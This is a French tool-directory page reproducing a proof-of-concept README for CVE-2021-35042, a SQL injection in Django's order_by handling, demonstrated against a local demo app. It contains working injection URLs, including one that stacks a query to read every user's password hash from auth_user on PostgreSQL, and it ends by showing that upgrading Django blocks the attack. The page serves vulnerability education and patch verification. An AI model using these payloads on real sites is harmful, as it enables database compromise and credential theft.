Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-35042 — Preuve de concept interactive illustrant l'injection SQL Django (CVE-2021-35042) avec une exploitation étape par étape contre les bases de données SQLite et PostgreSQL. | Kitploit
Outils/GitHubGitHub/r4vi/cve-2021-35042
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationSécurité des Bases de Données
GitHubr4vi/cve-2021-35042

CVE-2021-35042

Preuve de concept interactive illustrant l'injection SQL Django (CVE-2021-35042) avec une exploitation étape par étape contre les bases de données SQLite et PostgreSQL.

Voir le dépôt
5il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2021-35042

Bug d'injection SQL dans Django

Question : explorer à quel point c'est exploitable ? Réponse : je suis terrifié

Installation

poetry install

poetry run ./manage.py migrate

poetry run ./manage.py loaddata dummydata.json

Démo interactive

poetry run ./manage.py runserver

Tri par champs aléatoires

allez sur http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22 notez que le paramètre ?order_by transmet une référence SQL brute à une colonne "core_things_tags"."things_id"

Terminer la première requête et essayer d'exécuter du SQL

C'est à peu près aussi loin que l'on puisse aller : http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22%20and%201);%20select%201%20as%20name%20;-- ce qui ferme la première requête SQL et se traduit par le SQL suivant :

root@kitploit:~
SELECT "core_things"."id",
       "core_things"."name",
       COUNT("core_things_tags"."tag_id") AS "num_tags"
FROM "core_things"
         LEFT OUTER JOIN "core_things_tags" ON ("core_things"."id" =
                                                "core_things_tags"."things_id")
GROUP BY "core_things"."id", "core_things"."name",
         ("core_things_tags"."things_id" and 1);
select 1 as name;--) ORDER BY ("core_things_tags"."things_id" and 1); select 1 as name ;--) ASC LIMIT 21; args=()

ce qui échoue avec :

root@kitploit:~
Warning at /
You can only execute one statement at a time.

c'est simplement parce que sqlite ne peut exécuter qu'une seule requête à la fois

Revenons à l'exécution de la 2ème requête avec postgres

root@kitploit:~
export DJANGO_DATABASE_URL=postgres://user:pass@localhost:5432/cve-2021-35042 # rendez ceci un DATABASE_URL valide pour votre propre serveur postgres

poetry run ./manage.py migrate

poetry run ./manage.py loaddata dummydata.json

poetry run ./manage.py createsuperuser # suivez les invites

visitez : http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22%20);%20SELECT%201%20as%20id,%20%22password%22as%20name,%201%20as%20num_tags%20from%20%22auth_user%22;--

qui exécute le SQL suivant :

root@kitploit:~
SELECT "core_things"."id",
       "core_things"."name",
       COUNT("core_things_tags"."tag_id") AS "num_tags"
FROM "core_things"
         LEFT OUTER JOIN "core_things_tags" ON ("core_things"."id" =
                                                "core_things_tags"."things_id")
GROUP BY "core_things"."id", ("core_things_tags"."things_id");
SELECT 1 as id, "password" as name, 1 as num_tags
from "auth_user";--) ORDER BY ("core_things_tags"."things_id" ); SELECT 1 as id, "password"as name, 1 as num_tags from "auth_user";--) ASC;

Vous pouvez maintenant faire pratiquement n'importe quoi. Cette requête vole le hash du mot de passe pour chaque utilisateur.

Mise à niveau vers une version non vulnérable

maintenant, mettez temporairement à niveau django

poetry shell

pip install Django==3.2.5

revisitez l'URL ci-dessus et constatez qu'elle ne fonctionne plus :

root@kitploit:~
FieldError at /
Cannot resolve keyword '"core_things_tags"."things_id"' into field. Choices are: id, name, num_tags, tags
Télécharger l’outil